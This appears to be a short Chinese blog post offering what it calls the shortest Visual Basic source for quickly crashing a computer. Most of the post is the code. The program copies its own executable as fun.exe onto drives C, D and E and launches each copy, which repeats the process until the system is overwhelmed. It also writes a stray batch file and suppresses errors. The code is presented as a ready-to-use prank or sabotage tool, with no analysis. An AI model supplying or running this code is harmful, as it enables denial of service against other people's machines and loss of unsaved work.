naoga

最最简短的一段快速死机vb源码

dim mypath as string

dim filenumber

on error resume next

mypath=app.path & "\" & app.exename & ".exe"

filenumber=freefile

open app.path & "\zs.bat" for output as #filenumber

print #filenumber,"It's my only"

close #filenumber

filecopy mypath,"e:\fun.exe"

filecopy mypath,"d:\fun.exe"

filecopy mypath,"c:\fun.exe"

shell "e:\fun.exe"

shell "d:\fun.exe"

shell "c:\fun.exe"

评论

热度(1)